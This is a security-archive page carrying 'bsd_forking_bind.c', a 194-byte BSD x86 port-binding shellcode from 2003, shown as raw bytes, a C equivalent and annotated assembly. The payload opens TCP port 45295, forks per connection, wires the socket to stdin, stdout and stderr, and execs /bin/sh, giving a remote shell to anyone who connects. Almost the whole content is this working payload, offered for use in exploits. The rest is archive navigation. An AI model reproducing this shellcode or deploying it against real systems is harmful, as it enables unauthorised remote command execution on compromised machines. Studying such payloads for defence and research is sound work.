what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

bsd_forking_bind.c

bsd_forking_bind.c
Posted Mar 7, 2003
Authored by eSDee | Site netric.org

BSD x86 194 byte forking portbind shellcode.

tags | x86, shellcode
systems | bsd
SHA-256 | 679460791b82bc71cc358ebb7838a48a15a4b36b0568f604d4ecd681342df6cc

bsd_forking_bind.c

Change Mirror Download
/* BSD x86 shellcode by eSDee of Netric (www.netric.org)
* 194 byte - forking portbind shellcode - port=0xb0ef(45295)
*/

#include <stdio.h>

char
main[] =
"\x31\xc0\x31\xdb\x53\xb3\x06\x53"
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";

int
c_code()
{
char *argv[2];
char *sockaddr = "\x02\x00" // Address family
"\xb0\xef" // port
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00";

int sock = 0;
int new_sock = 0;
int a = 16;

sock = socket(2, 1, 6);
if (bind(sock, sockaddr, 16) != 0) exit();
listen(sock, 0);

signal(20, 1);

while(1) {

new_sock = accept(sock, 0, 0);

if (fork() == 0) {
close(sock);
dup2(new_sock, 0);
dup2(new_sock, 1);
dup2(new_sock, 2);
argv[0] = "//bin/sh";
argv[1] = NULL;
execve(argv[0], &argv[0], NULL);
exit();
}

close(new_sock);
}

}


int
asm_code()
{
__asm(" # sock = socket(2, 1, 6);
xorl %eax, %eax
xorl %ebx, %ebx
pushl %ebx
movb $6, %bl # IPPROTO_TCP
pushl %ebx
movb $1, %bl # SOCK_STREAM
pushl %ebx
movb $2, %bl # AF_INET
pushl %ebx
pushl %esp
movb $97, %al # SYS_socketcall
int $0x80
movl %eax, %edi # sock

# if (bind(sock, sockaddr, 16) != 0) exit();
xorl %eax, %eax
pushl %eax
pushl %eax
pushl %eax
pushw $0xefb0 # port
movb $02, %bh # Address family
pushw %bx
movl %esp, %ecx
xorl %ebx, %ebx
movb $16, %bl
pushl %ebx
pushl %ecx
pushl %edi # sock
pushl %eax
movb $104, %al # SYS_bind
int $0x80
xorl %ebx, %ebx
cmpl %eax, %ebx
je SKIP_EXIT
xorl %eax, %eax
movb $1, %al # SYS_exit
int $0x80
SKIP_EXIT:

# listen(sock, 0);
xorl %eax, %eax
pushl %eax
pushl %edi
pushl %eax
movb $106, %al # SYS_listen
int $0x80

# signal(17, 1);
# BSD doesn't have a signal syscall...
xorl %eax, %eax
xorl %ebx, %ebx
pushl %eax
movl %esp, %ecx
movb $1, %bl # SIG_IGN
pushl %ebx
movl %esp, %edx
pushl %eax
pushl %ecx
pushl %edx
movb $20, %bl # SIG_CHLD
pushl %ebx
pushl %eax
movb $46, %al # SYS_sigaction
int $0x80

# while(1);
WHILE:
# new_sock = accept(sock, 0, 0);
xorl %eax, %eax
pushl %eax
pushl %eax
pushl %edi # sock
pushl %eax
movb $30, %eax # SYS_accept
int $0x80
movl %eax, %esi # new_sock

# if (fork() == 0)
xorl %eax, %eax
xorl %ebx, %ebx
movb $2, %al # SYS_fork
int $0x80
cmpl %eax, %ebx
jne CLOSE_NEWSOCK

# close(sock);
xorl %eax, %eax
pushl %edi # sock
pushl %eax
movb $6, %al # SYS_close
int $0x80

# dup2(newsock, 0);
xorl %eax, %eax
pushl %eax
pushl %esi # new_sock

pushl %eax # stdin
movb $90, %al # dup2
int $0x80

# dup2(newsock, 1);
xorl %eax, %eax
xorl %ebx, %ebx
incl %ebx
pushl %ebx # stdout
pushl %esi # new_sock
pushl %eax
movb $90, %al # dup2
int $0x80

# dup2(newsock, 2);
xorl %eax, %eax
incl %ebx
pushl %ebx
pushl %esi # new_sock
pushl %eax # stderr
movb $90, %al # dup2
int $0x80

# execve(argv[0], &argv[0], NULL);
xorl %eax, %eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %esp
pushl %ebx
pushl %eax
movb $59, %al # SYS_execve
int $0x80


# exit()
xorl %eax, %eax
movb $1, %al # SYS_exit
int $0x80

CLOSE_NEWSOCK:
# close(new_sock);
xorl %eax, %eax
pushl %esi # new_sock
pushl %eax
movb $6, %al # SYS_close
int $0x80

jmp WHILE ");

}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close